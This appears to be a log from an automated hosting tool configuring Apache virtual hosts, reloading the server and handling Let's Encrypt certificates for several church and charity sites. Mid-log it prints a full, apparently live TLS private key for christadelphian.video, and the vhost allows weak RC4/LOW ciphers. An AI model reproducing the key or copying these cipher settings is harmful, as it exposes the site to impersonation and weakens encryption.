DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi


2026-03-06 06:00:11: 

chmod 755 /tmp/pkp121004; /tmp/pkp121004; rm /tmp/pkp121004

2026-03-06 06:00:11: 




2026-03-06 06:00:12: 

PUT: /tmp/pkp576556

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-06 06:00:12: 

chmod 755 /tmp/pkp576556; /tmp/pkp576556; rm /tmp/pkp576556

2026-03-06 06:00:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-06 06:00:12: Establishing a connection
2026-03-06 06:00:12: 

PUT: /tmp/pkp865955

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-06 06:00:12: 

chmod 755 /tmp/pkp865955; /tmp/pkp865955; rm /tmp/pkp865955

2026-03-06 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-06 06:00:12: 

PUT: /tmp/pkp256987

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-06 06:00:12: 

chmod 755 /tmp/pkp256987; /tmp/pkp256987; rm /tmp/pkp256987

2026-03-06 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf	1372

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-06 06:00:12: 

PUT: /tmp/pkp751827

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-06 06:00:12: 

chmod 755 /tmp/pkp751827; /tmp/pkp751827; rm /tmp/pkp751827

2026-03-06 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt	5360
cf:6f:6c:ed:99:d0:67:f0:75:82:69:e3:02:32:0d:8e

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBl6ahTu+zuXBExq49ip0ihvaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzA2MDUwMTQwWhcNMjYwNjA0MDUwMTM5WjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDpzY77YJAQldRcEmIjU67p9/AGm0XR419055Bg859bxCKZQWNZIqD1
VdMQmjcQsllQPjisoGu4W7vt9anc8HPC+GJmOYKKqGd6uF3o7qRgmZPvkIH2+fgP
JfhclwFlYZhVbsv0mvgwYS4x3iUGmRWx7gyzwC1C607C0Tnxm8m31xrKbWaFa+6w
LB4pKiJ/fLt8uj7bxtbfzt5CdWWrX85HTXXA17Ijly7QtRJFQFUaSA9cIW1e5Qcm
i3uNH4I81wvZSM7KiJT38kYnxfwUbwTx8hlW3lvoEBJPWMWD3fKkjB1XQh3sBQSU
TIAY5/bu1lZn/ML84Mjkt4dZCq2r479tAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUO9MqEFi/uAB1/XX6QcXT40ND9tcwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVjaHJpc3RhZGVscGhpYW4udmlkZW8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy85MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQBk
EcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzBu2lCAAAEAwBGMEQC
IBNGSmZDcpGZeF13w2KN2rFVolL4ObwOlhpHxGthq1WJAiBG0RFaMxzIqK02EtKv
FmSr51riUBPWOYASsLZ91z4SpAB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM
0Ge1pmHiAAABnMG7agAACAAABQALAU6RBAMARzBFAiEAnmEmA/svbztkVyxSaoq/
HJW+t2pQrpbwdW9iOpLNwXgCIEyUs6Qaggm0lSA8npBmvHbDIjUru2qKog8kOU++
YkstMA0GCSqGSIb3DQEBCwUAA4IBAQBF4BKr+Fz9KCxRTO8PoVhtIBWvGnnKNyvR
zgqrS3NCQqwIvdTl7WVoVpiyWJf6rbodUJe3bVNgLHz9mIqJXM+j2RFfuXUBddCY
WSrxCHALeYOTmwNYftT5ZLPOiWNICVWj8fu6v0eJtV+YRpf6344Ak7Ctc/bA+LCA
mvzxUOgEkkDw7sU1C8WcZhvapGkCh5xQNHGuxit0W5E6MpxCT+LskKA/6D1He4GO
ZY5XHeeQxJxY9dPfhEcnTORFsCSLo9p7gzPOHzdoblDat0xgMA1yhBsBDUEjWUd8
10Od7DI/r3hVPa9dLs7UwUiXCaOyc4M6Y5jVUDt5cP+RvIxsLqW1
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDpzY77YJAQldRc
EmIjU67p9/AGm0XR419055Bg859bxCKZQWNZIqD1VdMQmjcQsllQPjisoGu4W7vt
9anc8HPC+GJmOYKKqGd6uF3o7qRgmZPvkIH2+fgPJfhclwFlYZhVbsv0mvgwYS4x
3iUGmRWx7gyzwC1C607C0Tnxm8m31xrKbWaFa+6wLB4pKiJ/fLt8uj7bxtbfzt5C
dWWrX85HTXXA17Ijly7QtRJFQFUaSA9cIW1e5Qcmi3uNH4I81wvZSM7KiJT38kYn
xfwUbwTx8hlW3lvoEBJPWMWD3fKkjB1XQh3sBQSUTIAY5/bu1lZn/ML84Mjkt4dZ
Cq2r479tAgMBAAECggEAAYOe38M6UpZ2+pYWkbrKSu/ZpdwDz+0kLT021i2ksio+
SyaU+adP3Oo87nkJlyz0QSLzkeWp14IwQbK0cGgHoZIvuvOjFrOmUkxCevvW7Hmm
iBtpwd1MazrTKk0+mf9TwDzsCvIQ2jOuAyQyW7BlMZ0ZGAJvPcQ6wgTtVDYuoPOs
6qFfDOvYYYg+FseZ9bvwvabrLWze2NsKLkI39bb3s1sqzVID0Iq7PdoPX1J8GO72
vmy2s8S4vUr2ImwgCe0hIi5I+OP1dnc7jP6t/VF0YTL41tQ8MSNM8Fj/4WfMvOAl
DTsTu9FlW6d6grgSZmNdyjeKsCIipMoKyCkxahyMOQKBgQD4CtEyb03vCKA9fSrS
Hmw57nHmZH1HZWTzb5azj7VmOc3gXH++SjmoH2vMYLOtuj/7m2xuuDh+lBNTl8Z4
880nDoNyIr4Di6P9YhhbFVt0tBHm2u9QCvyk35tls2blAR9oZHwXanbbSw9Nyasd
KqJIjTkjJIUns/WMu+81Urs86QKBgQDxTcsaNlAwvY92YnOyeSnnG+9nV69F1VsN
+QDHbKo6mcF3eYQhfXE/9wcXWE1mK7L98g5WZesi59yLWLLtMAhEXMMFuREddhns
5TwRbgFJMIGAXmHq0c9a1XQ+cJCccuWaS2A0TY5nxWKrIUFDgof4uQF3noqHZuk9
Nsiiol5L5QKBgHWqI/0J4e1/qQwiQVr1xZ9hprSFfQyOY+o7SEEb7hB1YV2KY6rw
aROA/FEymmnSTaHc4/5N87bQJa7k8+jStsJNVzugkYT7DCsaCrXCluTwuwFJYHcX
DyxjSsNe7HO8KZsK9/bfsUxr+fGLtlmarOs/2xf5rhTcgKJnUJ16BoppAoGAGSXQ
WuT6Kno271GHWTxDX7CLnKuIurBnkuc2a5Ipk33eqcLiQFNAcDggZxBu0I0RVGHb
mKl6feLIG0WdMBbnZah9MqV84SMjxIqHXhGm1KfXdzde4QgIoiDIwpEcoRFgWFou
poTGqI3roIYQtSZvYT52pq7BJSdWe2iwNDLTvPkCgYEAlLm3AbGUrYjb4j8lNNPP
kkfDxoS8FT+25dfe1ly4UeKZ+OnMLK6ydTp+mHlBzIiXhyqofN+ssl7oZCS8GILh
4ib0dOcItcuFqTEKMWr1JGwWOR5HfYtIV4bZCUJ5zLTpdyPvj1Sx4/RPos9dp9u0
hcFKIcb18U1cD31xAEor+3I=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-06 06:00:12: Establishing a connection
2026-03-06 06:00:12: Establishing a connection
2026-03-06 06:00:12: 

PUT: /tmp/pkp646522

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-06 06:00:13: 

chmod 755 /tmp/pkp646522; /tmp/pkp646522; rm /tmp/pkp646522

2026-03-06 06:00:13: 


1


2026-03-06 06:00:13: Establishing a connection
2026-03-06 06:00:13: 

PUT: /tmp/pkp894229

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > Gol0q19-5em0OAVYRuIcgjaVBTI715VKIqWNjLZNc8Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Gol0q19-5em0OAVYRuIcgjaVBTI715VKIqWNjLZNc8Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Gol0q19-5em0OAVYRuIcgjaVBTI715VKIqWNjLZNc8Q
cat > d2LXcb9Z1VycB8Xnt9Q-2ohsD9ADXAeuhIT5WFz7qCM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
d2LXcb9Z1VycB8Xnt9Q-2ohsD9ADXAeuhIT5WFz7qCM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 d2LXcb9Z1VycB8Xnt9Q-2ohsD9ADXAeuhIT5WFz7qCM


2026-03-06 06:00:13: 

chmod 755 /tmp/pkp894229; /tmp/pkp894229; rm /tmp/pkp894229

2026-03-06 06:00:13: 




2026-03-06 06:00:24: Establishing a connection
2026-03-06 06:00:24: 

PUT: /tmp/pkp889851

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm Gol0q19-5em0OAVYRuIcgjaVBTI715VKIqWNjLZNc8Q
rm d2LXcb9Z1VycB8Xnt9Q-2ohsD9ADXAeuhIT5WFz7qCM


2026-03-06 06:00:24: 

chmod 755 /tmp/pkp889851; /tmp/pkp889851; rm /tmp/pkp889851

2026-03-06 06:00:24: 




2026-03-06 06:00:24: Establishing a connection
2026-03-06 06:00:25: 

PUT: /tmp/pkp525501

#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt

cat > $temp_file <<'endmsg'
e0:73:13:99:49:23:f3:2a:7c:56:7d:cf:5b:bc:08:6e

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBgBiqyFgfrMBiaU0LdulEeGjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA2MDUwMTUzWhcNMjYwNjA0MDUwMTUyWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAssn+FoYq6fxqO6iiTDC16KSMe90bIFw9ESD8z8pK1a1gdQKBqnKlFF5UqhcK
d6WUZYiFkyxMs0/lV1S5DtQ9rcO9hPZ3um0C5ydec9IbszAdKKc38VWZ+yGl8Skq
3wJBzR5AF30/WxCUnZafDsBscBEp0Cqyejy9WLQTahySKsnc4cQ88mPuthyLEPO/
SgsggJq2jMQJ+MgTv6uYektMDdG/hXq/ELZcR4eL2NHQg0N87k51Ga28BK3bXLKq
RYIAyKXVNFZgptr8Ldf72CoyrPrpWRNRCtB/ZuyhfHnsRcza4LncVBx5SR8XKXsA
uExxfnk1GTcMfCzrMRj9y9zrQwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFIJe
57MRjugUo/yQDHl+UlCbHMe3MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLm9yZy51a4IUd3d3LmNhcmVs
aW5rcy5vcmcudWswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNi5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZzB
u5r+AAAEAwBHMEUCIFMpQ1PzSqcsWo7qfxqkxRxtxFm0ajxj11QMM7N7xJrlAiEA
6oO2MEUdw8E1B/8XVWt1/NnQC+jwAyu7ZnJh8TefRngAfwAai51pSleYyJmgyoi9
9I/AtFZgzMNgDR9x9Gn/x9GsowAAAZzBu53bAAgAAAUAUwvsDwQDAEgwRgIhAKC7
zJ7EVw3tR9cTEY6KSo0JtSGFGta+C6Ljfa0yLX4TAiEA7HV/YG0O4AKfohv1EFLV
3R3LVFN80YP4dAKsAJKUqCcwDQYJKoZIhvcNAQELBQADggEBANf2DaTNRxdgpl9B
7O+Sx7CMyr5ZYCvAvBdf1uaYPnOsfDBaYmxrMjV3kJQl5J2puNWQEzUhOhlR7nMe
/ie4WBFgYnUa9wcQD1YOHQ4FEPOP5OIUiSa5Wd+pm5OUqp8UFQJKowTGu9C2W/mD
V+Zh6aDOIDOfCz+X82QVK6YTUTONXxSKft+2rWkcOrKVV1ciEcfnGtNP+onQUH7W
2/00jihb9iaLxp0yz1pky754pRB5OQLHafoa7BOYcaT+pq0VJNKitydxsSp3dXNz
